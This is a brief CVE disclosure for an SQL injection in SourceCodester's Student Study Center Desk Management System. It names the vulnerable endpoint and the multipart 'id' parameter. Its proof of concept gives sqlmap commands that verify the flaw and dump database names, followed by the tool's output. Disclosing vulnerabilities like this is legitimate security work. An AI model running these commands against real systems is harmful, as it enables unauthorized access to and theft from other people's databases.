Skip to main content

CVE-2024-6732

 

Details​

Attack type: SQL injection

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Vendor: SourceCodester

Product: Student Study Center Desk Management System

Affected components: /sscdms/classes/Users.php?f=save

Injection parameter: MULTIPART id

 

POC​

1

Intercept the request using Burpsuite Proxy.

2

Save request to save_user.txt.

The vulnerability can be verified with the following command:

sqlmap -r save_user.txt --batch

53

Parameter: MULTIPART id ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: -----------------------------375499073526017961903522895095
Content-Disposition: form-data; name="id"

Databases can be dumped using the following command:

sqlmap -r save_user.txt --batch --dbs

54

[10:46:50] [INFO] fetching database names
[10:46:50] [INFO] retrieved: 'information_schema'
[10:46:50] [INFO] retrieved: 'sscdms'
available databases [2]:
[*] information_schema
[*] sscdms